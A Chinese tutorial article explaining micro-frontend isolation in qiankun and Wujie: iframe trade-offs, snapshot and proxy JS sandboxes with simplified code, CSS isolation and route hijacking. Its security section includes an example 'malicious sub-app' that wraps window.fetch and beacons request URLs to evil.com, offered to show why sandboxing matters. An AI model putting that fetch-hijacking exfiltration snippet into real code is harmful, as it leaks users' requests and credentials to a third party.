本文旨在串联微前端架构中的核心隔离技术,从最基础的iframe方案讲起,深入到乾坤框架的JS沙箱演进史(快照沙箱、单应用代理沙箱、多应用代理沙箱),CSS隔离以及路由劫持等关键环节,帮助您浅浅梳理体系。
第一部分:iframe方案
在深入探讨乾坤等现代微前端框架之前,首先要理解最传统、最简单的应用隔离方案:iframe。
iframe标签可以创建一个独立的浏览器上下文,其中包括完整的document、window对象以及自己的全局作用域。
优点:
强隔离 :内部的JS、CSS与父页面完全隔离,不会产生任何全局变量冲突或样式污染。浏览器原生支持:无需额外框架,实现简单。
缺点:
通信困难 :父子应用通过
postMessage等异步方式通信,对于需要频繁、同步交互的场景(如共享全局状态)体验不佳。UI融合受限:子应用弹窗(Modal)、下拉菜单等只能限定在iframe区域内,无法覆盖到父页面全局。路由状态也难以同步,刷新页面后可能丢失子应用路径。
性能开销:每个iframe都是一个独立的页面实例,资源加载和内存占用较大。
全局变量访问不变 :直接访问父应用
window上的公共库,变得复杂。
正是由于iframe的强隔离带来的通信、UI融合、性能 等问题,催生了"更轻量、更可控"的微前端框架 。不再使用浏览器级别的硬隔离,而是在同一个浏览器上下文中,通过框架级的沙箱 和隔离机制,模拟出类似iframe的"安全环境",同时保证应用的交互性和灵活性。
第二部分:乾坤框架概述
乾坤(qiankun)是蚂蚁金服开源的一款基于single-spa的微前端实现库。其核心设计目标是让微前端接入"像使用iframe一样简单",同时解决iframe的固有缺陷。
核心理念:
技术栈无关:主应用不限制子应用使用的框架(React、Vue、Angular等)。
接入简单:改造存量应用的工作量尽可能小。
主要功能:
应用加载与切换 :基于
single-spa实现子应用的懒加载、路由匹配和生命周期管理。资源隔离 :包括JS隔离(沙箱) 和CSS隔离,确保子应用间互不干扰。
通信机制 :提供
initGlobalState等API,实现主、子应用间的数据传递。
乾坤的核心技术亮点之一就是其JS隔离机制,这是我们接下来要深入剖析的重点。
第三部分:微前端的完整隔离体系
微前端三大核心隔离:JS隔离、样式隔离、路由隔离。
CSS隔离
问题 :子应用A的CSS规则(如h1 { color: red })可能会意外应用到子应用B的内容上。
方案:
-
CSS Module / Scoped CSS :构建时强制为每个组件的CSS选择器添加唯一作用域(如
.app-a-1x3h7)。需要修改子应用构建配置。 -
Shadow DOM :将子应用挂载到一个
Shadow Root下。Shadow DOM内部的CSS完全隔离于外部。这种方式虽然强,但可能带来全局样式(如字体)继承问题和UI库组件(如弹窗)挂载位置的挑战。 -
动态样式表 (乾坤默认策略) :乾坤通过监听子应用加载和卸载,动态添加/删除 子应用的
<link>或<style>标签。当子应用卸载时,对应的样式表也会被移除,从而实现了样式隔离。这是一种简单有效的方案,但要求子应用之间不能有样式顺序的依赖。
拓展:无界 (Wujie) 微前端框架
无界是腾讯开源的另一款微前端框架,走WebComponent原生隔离路线:
JS隔离 :利用Web Component(
<web-component>) 和iframe相结合。无界会创建一个隐藏的iframe来运行子应用的JS代码,因为iframe拥有最原生的JS隔离环境。然后通过JS代理,将这个iframe中的window对象代理到Web Component的上下文中,使得主应用可以与之交互。这样既利用了iframe的强隔离性,又解决了iframe的通信和UI问题。CSS隔离 :同样利用Web Component + Shadow DOM,将子应用的DOM完全包裹在Shadow DOM内部,实现了彻底的样式隔离。
第四部分:JS隔离机制------沙箱的演进
乾坤的JS沙箱经历了从"快照沙箱"到"支持单应用的代理沙箱",再到"支持多应用的代理沙箱"的演进过程。下面咱们简单阐述。
4.1 快照沙箱 (SnapshotSandbox)
这是乾坤最早的实现,向下兼容性强,可用于不支持Proxy的旧浏览器。其核心思想是**"激活时恢复,失活时快照"**。
激活(active) :遍历window上的所有属性,生成当前状态的快照 保存起来。从modifyPropsMap(记录上次激活期间修改过的属性)中恢复属性值。
失活(inactive):
-
再次遍历
window上所有属性,与激活时保存的"快照"进行对比。 -
将所有不同之处 (即本次激活期间修改过的属性)记录到
modifyPropsMap中。 -
将
window的所有属性还原为"快照"时的状态,完成清理。
极简代码:
javascript
class SnapshotSandbox {
constructor() {
this.windowSnapshot = {};
this.modifyPropsMap = {};
}
active() {
// 1. 记录当前window快照
for (const prop in window) {
this.windowSnapshot[prop] = window[prop];
}
// 2. 恢复上次修改的属性
Object.keys(this.modifyPropsMap).forEach(prop => {
window[prop] = this.modifyPropsMap[prop];
});
}
inactive() {
// 1. 对比并记录修改
for (const prop in window) {
if (window[prop] !== this.windowSnapshot[prop]) {
this.modifyPropsMap[prop] = window[prop];
window[prop] = this.windowSnapshot[prop]; // 2. 还原快照
}
}
}
}
优点:原理简单,兼容性好。
缺点 :性能差 :每次激活/失活都需要遍历整个window对象,属性非常多时开销巨大。无法多实例 :所有操作都是直接修改真实的全局window。当同时运行多个子应用时,后激活的应用会覆盖前一个的状态,造成混乱。因此快照沙箱只支持同时运行一个子应用。
4.2 支持单应用的代理沙箱 (LegacySandbox)
为了解决快照沙箱的性能问题,乾坤利用Proxy(代理)技术实现了第二种沙箱。其核心思想是**"跟踪变更,精准还原"**,不再需要遍历所有属性。
核心 :创建一个 fakeWindow 作为代理目标。通过 Proxy 拦截对 window 的**设置(set)**操作。
使用三个Map来记录属性变更:
addedPropsMapInSandbox:记录沙箱中新增的全局属性。
modifiedPropsOriginalValueMapInSandbox:记录沙箱中修改 的全局属性的原始值。
currentUpdatedPropsValueMap:记录沙箱中所有当前更新(新增和修改)的属性及最新值。
激活(active) :将currentUpdatedPropsValueMap中的所有属性重新应用到真实的window上。
失活(inactive):
-
将
modifiedPropsOriginalValueMapInSandbox中记录的属性还原为原始值。 -
将
addedPropsMapInSandbox中记录的属性从window上删除。
极简代码:
javascript
class LegacySandbox {
constructor() {
this.addedPropsMap = new Map();
this.modifiedPropsOriginalValueMap = new Map();
this.currentUpdatedPropsMap = new Map();
const fakeWindow = {};
this.proxy = new Proxy(fakeWindow, {
set: (target, prop, value) => {
const originalVal = window[prop];
if (!window.hasOwnProperty(prop)) {
this.addedPropsMap.set(prop, value);
} else if (!this.modifiedPropsOriginalValueMap.has(prop)) {
this.modifiedPropsOriginalValueMap.set(prop, originalVal);
}
this.currentUpdatedPropsMap.set(prop, value);
window[prop] = value; // 实际修改真实window
return true;
},
get: (target, prop) => window[prop]
});
}
// active和inactive逻辑如上所述
}
优点 :性能优于快照沙箱 。因为只操作被修改过的属性,无需遍历window。
缺点 :和快照沙箱一样,它仍然直接修改了真实的window对象 。当同时运行多个子应用时,全局变量依然会相互覆盖。因此它也只支持同时运行一个子应用 。这也是其类名中有Legacy(遗留的;老旧的)的原因。
4.3 支持多应用的代理沙箱 (ProxySandbox)
这是目前乾坤最强大、最常用的沙箱机制。它真正实现了多个子应用同时运行且互不干扰。其核心思想是**"每个应用拥有自己的'伪全局对象'"**。
核心逻辑 :为每个子应用创建一个独立的fakeWindow 。通过Proxy拦截对该fakeWindow的所有获取(get) 和**设置(set)**操作。
设置属性 (
set) :修改发生在该应用的fakeWindow上 ,完全不影响 真实的window对象。获取属性 (
get) :采用优先从自身fakeWindow查找,找不到再从真实window上读取 的策略。这样既能访问到浏览器提供的原生API(如document、localStorage),又能保证应用自己定义的全局变量是私有的。
极简代码:
javascript
class ProxySandbox {
constructor() {
const fakeWindow = Object.create(null);
this.proxy = new Proxy(fakeWindow, {
set: (target, prop, value) => {
// 修改只发生在fakeWindow上,不操作真实window
target[prop] = value;
return true;
},
get: (target, prop) => {
// 优先从自己的fakeWindow取,取不到再从真实window取
return prop in target ? target[prop] : window[prop];
}
});
}
// 激活/失活简单记录状态,无需任何还原操作
}
优点:
支持多实例 :每个应用都有独立的
fakeWindow,全局变量完全隔离。性能好 :无需遍历或记录变更,
Proxy代理是高效的。安全性高:真正做到了不污染全局环境。
缺点 :不兼容Proxy的低版本浏览器(如IE11)。对于这种情况,乾坤会回退到SnapshotSandbox。
第五部分:沙箱的作用与实际应用场景
沙箱的本质 :创建一个受控的执行环境,限制代码对全局资源的访问和修改。
在微前端中的具体作用:
全局变量隔离 :防止子应用A定义
window.myApp覆盖子应用B的相同变量。事件监听隔离 :确保子应用卸载时能正确移除自己添加的全局事件监听(如
window.resize),避免内存泄漏或逻辑冲突。定时器隔离 :类似事件监听,沙箱可在卸载时帮助清理所有未清除的
setInterval/setTimeout。网络请求劫持 :高级沙箱可以劫持
fetch或XMLHttpRequest,为子应用的请求自动添加基路径或请求头。
其他实际应用场景:
浏览器扩展开发:内容脚本(Content Script)在页面中运行,需要隔离,避免与页面本身的脚本冲突。
在线代码编辑器/Playground:如CodePen、JSFiddle,需要安全地执行用户输入的HTML/JS/CSS代码,沙箱可以防止恶意代码窃取用户信息或破坏页面。
低代码平台:用户自定义的组件逻辑需要在平台内安全运行。
第三方广告/插件:嵌入到页面的广告脚本应被沙箱化,防止其拖慢主页面性能或读取主页面敏感数据。
window对象上频繁绑定内容,存在什么风险?
分析:在传统SPA或多应用集成场景中,代码频繁向window挂载内容会引发严重问题:
| 风险类型 | 具体表现 | 真实危害场景 |
|---|---|---|
| 全局命名空间污染 | 多个模块定义同名全局变量,后加载的覆盖先加载的 | 子应用A定义window.store,子应用B也定义window.store,导致A调用失败 |
| 内存泄漏 | 页面跳转或应用卸载时,挂载在window上的对象、事件监听、定时器未被清理 |
子应用卸载后,其挂载的window.setInterval仍在运行,持续消耗CPU |
| 生命周期混乱 | 应用A挂载了window.fetch的拦截器,应用B卸载后未恢复,导致应用C请求异常 |
乾坤早期版本曾出现的沙箱恢复失败问题 |
| 多实例冲突 | 同时运行多个子应用,它们对window的同名属性互相覆盖 |
应用A设置window.currentUser,应用B也设置,导致A读到B的用户信息 |
额外说明:window频繁绑定带来的安全风险常被忽视,但其危害远超功能故障:
| 安全风险类型 | 攻击向量 | 真实危害场景 |
|---|---|---|
| 敏感信息泄露 | 第三方脚本读取window.localStorage、window.userToken |
广告插件窃取用户身份凭证 |
| XSS攻击放大 | 攻击者覆盖window.alert、window.console.log等函数 |
劫持输出流,静默窃取数据 |
| 原型链污染 | 修改Object.prototype或Array.prototype上的全局方法 |
影响所有后续执行的代码逻辑 |
| API劫持 | 重写window.fetch、window.XMLHttpRequest |
拦截所有网络请求,窃听或篡改数据 |
| 沙箱逃逸 | 通过window.parent、window.top访问上层作用域 |
嵌套环境中的权限提升攻击 |
示例:
javascript
// 恶意子应用代码
const originalFetch = window.fetch;
window.fetch = function(url, options) {
// 窃取所有请求中的敏感信息
if (url.includes('/api/user')) {
navigator.sendBeacon('https://evil.com/steal', url);
}
return originalFetch(url, options);
};
// 此后所有子应用的请求都被监控 ------ 若无沙箱隔离,后果严重
解决方案:沙箱是隔离问题的终极方案,但工程实践中,可结合多种技术分层防御,具体如下:
| 方案 | 原理 | 防护强度 | 适用场景 | 能否替代沙箱 |
|---|---|---|---|---|
| 命名空间 | 单全局对象,属性挂载其下 | 低(可被覆盖) | 小型项目、插件开发 | 完全不能 |
| IIFE | 函数作用域隔离 | 中(内部变量外部不可访问) | 脚本封装、避免临时污染 | 无法持久保存状态 |
| 模块化 | ES Module/CommonJS | 高(编译时确定依赖) | 现代工程化项目 | 可减少90%的window操作 |
| 严格模式 | 禁止隐式全局创建 | 辅助性(不能阻止主动挂载) | 所有代码都应开启 | 辅助工具 |
| 沙箱 | 虚拟化全局环境 | 极高(完全隔离读写) | 微前端、不可信代码执行 | 唯一完全方案 |
第六部分:路由隔离机制------基座统一劫持与分发
在微前端架构中,路由隔离 是保证多个应用能和谐共处的关键枢纽。不同于JS和CSS的"空间隔离",路由解决的是"时间分配"问题------何时激活哪个子应用,以及如何让URL变化与应用切换无缝衔接。
存在矛盾:单页应用(SPA)中,路由系统负责根据URL渲染对应组件。在微前端架构下,多个独立开发、独立部署的子应用各自拥有自己的路由系统,如何让它们共享同一个浏览器的地址栏而不冲突?
方案:基座统一劫持分发模式。
乾坤及主流微前端框架采用**"基座(主应用)作为唯一路由总管"**的设计模式,核心逻辑分三步:
-
劫持路由变化事件:主应用接管浏览器路由变化的所有入口。
-
统一规则匹配:根据当前URL匹配预先配置的应用激活规则。
-
分发执行:激活匹配的子应用,并将路由控制权下放。
6.1 路由劫持原理
浏览器中URL变化的所有路径只有以下四种,乾坤必须全部拦截:
| 变化方式 | 劫持手段 | 说明 |
|---|---|---|
| 点击浏览器的前进/后退 | 监听popstate事件 |
无法拦截,只能被动响应 |
调用history.pushState() |
重写window.history.pushState |
添加自定义事件触发点 |
调用history.replaceState() |
重写window.history.replaceState |
同上 |
点击<a>标签或hash变化 |
监听hashchange事件 |
并阻止默认行为后手动处理 |
微前端中,主应用和子应用都可能有自己的路由系统。如何保证在切换URL时,正确的应用被激活?
方案 :主应用负责监听路由: 主应用使用history或hash路由,并配置一个激活规则(如/app1/*下激活子应用A)。路由劫持:当浏览器URL发生变化时(用户点击链接或调用pushState),事件先被主应用捕获 。主应用根据规则匹配到应该激活的子应用后,将该URL剩余部分传递给子应用。子应用拿到自己的路由路径后,触发其内部的路由跳转逻辑。
路由劫持核心实现(简化版):
javascript
// 主应用的路由劫持器(类似于single-spa的核心逻辑)
class RouterKeeper {
constructor() {
this.apps = []; // 注册的子应用列表
this.currentApp = null;
// 劫持 pushState 和 replaceState
this.originalPushState = window.history.pushState;
this.originalReplaceState = window.history.replaceState;
this.overrideHistoryMethods();
this.bindPopStateEvent();
}
// 1. 重写history方法,在调用时主动触发检查
overrideHistoryMethods() {
window.history.pushState = (state, title, url) => {
this.originalPushState.call(window.history, state, title, url);
this.handleRouteChange(url); // 关键:手动触发路由变化处理
};
window.history.replaceState = (state, title, url) => {
this.originalReplaceState.call(window.history, state, title, url);
this.handleRouteChange(url);
};
}
// 2. 监听前进后退事件
bindPopStateEvent() {
window.addEventListener('popstate', () => {
this.handleRouteChange(window.location.href);
});
}
// 3. 统一的路由变化处理逻辑
handleRouteChange(url) {
const matchedApp = this.matchApp(url);
if (matchedApp !== this.currentApp) {
// 卸载当前应用
if (this.currentApp) {
this.unmountApp(this.currentApp);
}
// 加载并挂载新应用
this.loadAndMountApp(matchedApp);
this.currentApp = matchedApp;
}
}
// 4. 根据URL匹配子应用(基于路径前缀)
matchApp(url) {
return this.apps.find(app =>
url.startsWith(app.activeRule)
);
}
// 5. 子应用挂载时传递路由权限
loadAndMountApp(app) {
// 加载子应用的JS/CSS资源
this.loadResources(app.entry);
// 挂载子应用,并告知其当前的路由子路径
// 例:主应用匹配到 /app1/*,子应用只关心 /dashboard 部分
const subPath = this.extractSubPath(app.activeRule);
app.mount({ path: subPath }); // 调用子应用生命周期
}
extractSubPath(activeRule) {
const fullPath = window.location.pathname;
// 去掉基座路由前缀,如将 '/app1/dashboard' 转为 '/dashboard'
return fullPath.replace(activeRule, '') || '/';
}
}
6.2 子应用的路由适配
子应用无需知道自己的"微前端身份",但需要配置路由基线路径(base),告知路由系统:"我的所有路径前面都有个固定前缀"。
常见框架配置示例:
javascript
// React (react-router-dom)
;<Router basename={window.__POWERED_BY_QIANKUN__ ? '/app1' : '/'}>
<App />
</Router>
// Vue Router
const router = new VueRouter({
base: window.__POWERED_BY_QIANKUN__ ? '/app1' : '/',
mode: 'history',
routes
})
// Angular(在主模块中配置)
providers: [
{ provide: APP_BASE_HREF, useValue: window.__POWERED_BY_QIANKUN__ ? '/app1' : '/' }
]
为什么子应用需要base配置?
假设:主应用激活规则:/app1/*;当前URL:http://main.com/app1/users/123;子应用内部路由跳转想要:users/123 -> 实际应渲染用户详情页。
如果不配置base,子应用会以为完整路径是/users/123,导致匹配失败。配置base后,子应用会自动将/app1前缀剥离,只处理剩余部分。
6.3 完整路由切换时序图
html
用户行为:点击子应用内的"用户列表"链接
│
├──① 子应用调用 history.pushState('/app1/users')
│ ↓
├──② 主应用劫持到pushState调用(已重写history方法)
│ ↓
├──③ 主应用执行统一处理函数 handleRouteChange()
│ ├── 匹配激活规则:/app1/users 匹配到子应用A
│ ├── 检查当前应用是否是子应用A
│ └── 当前已是子应用A,无需切换,直接跳过
│ ↓
├──④ 问题:子应用自身的路由更新如何触发?
│
│ 关键机制:主应用不拦截子应用内部的同应用路由跳转
│ 但子应用需要知道URL已变化!
│
└──⑤ 解决方案:子应用监听自己的路由变化
└── 当主应用触发pushState后,浏览器的URL更新
└── 子应用的路由系统监听了popstate或location变化
└── 子应用自动更新UI(无需主应用额外干预)
6.4 乾坤中的路由实现
基于single-spa,主应用需要指定一个activeRule函数(定义路由匹配规则),返回true时激活对应子应用。single-spa会劫持popstate和hashchange事件,以及pushState和replaceState方法,来统一管理所有应用的激活状态。
补充:single-spa 是微前端的底层库(微前端的底层路由) ,负责根据路由加载 / 卸载子应用,实现多技术栈共存;qiankun是在single-spa基础上加上沙箱(JS隔离机制的实现)、样式隔离、简易API形成的微前端框架。single-spa的工作流程:主应用注册子应用,监听url变化,匹配路由->自动加载对应子应用,切换路由->自动卸载上一个子应用。
激活规则配置示例:
javascript
// 主应用注册子应用
registerMicroApps([
{
name: 'react-app',
entry: '//localhost:3000',
container: '#subapp-container',
// 关键:activeRule定义路由匹配规则
activeRule: '/react', // 当URL以/react开头时激活此应用
},
{
name: 'vue-app',
entry: '//localhost:8080',
container: '#subapp-container',
activeRule: '/vue', // 当URL以/vue开头时激活
}
]);
start(); // 启动single-spa,开始劫持路由
乾坤的额外处理:
支持
activeRule函数形式,实现更复杂的匹配逻辑(如正则匹配).支持
hash路由模式(activeRule: '#/react')。提供
prefetch预加载能力:根据当前路由主动预加载可能激活的子应用资源。
6.5 常见问题与解决方案
| 问题场景 | 表现 | 解决方案 |
|---|---|---|
子应用内使用<a href="/users">点击跳转会刷新页面 |
浏览器直接发起请求,导致页面刷新 | 子应用应使用框架路由的<Link>组件,或全局劫持<a>标签点击事件 |
| 子应用刷新后404 | 子应用部署的服务器未配置重定向 | 在子应用服务器配置将所有路由指向index.html(SPA标准配置) |
| 主子应用路由冲突 | 主应用路由/dashboard与子应用激活规则/dashboard重叠 |
确保激活规则是唯一前缀,主应用路由不能包含子应用前缀 |
| 微应用嵌套 | 子应用A内部又想嵌套子应用B | 嵌套层每个层级都需要独立的路由前缀管理,建议不超过两层 |
6.6 路由隔离的本质
路由隔离 = "时间维度的沙箱"。
路由隔离机制与JS沙箱共同构成微前端的两大核心支柱。JS沙箱解决了多应用共存时的内存冲突 ,路由隔离解决了多应用切换时的时序冲突。
JS沙箱隔离了空间 (全局变量作用域);CSS沙箱隔离了样式空间 ;路由隔离则解决了谁在什么时候占据浏览器地址栏。
主应用像个交通调度中心 :劫持 所有路由变化事件(相当于路口监控);匹配 激活规则(相当于看车牌号确定所属区域);分发给正确的子应用(相当于放行到对应的车道)。
子应用在自己的"时间段"和"路由前缀空间"内,独立维护自己的路由系统,互不干扰。
总结图:
好久不见呀煲仔们,祝你们今天过得愉快呀~
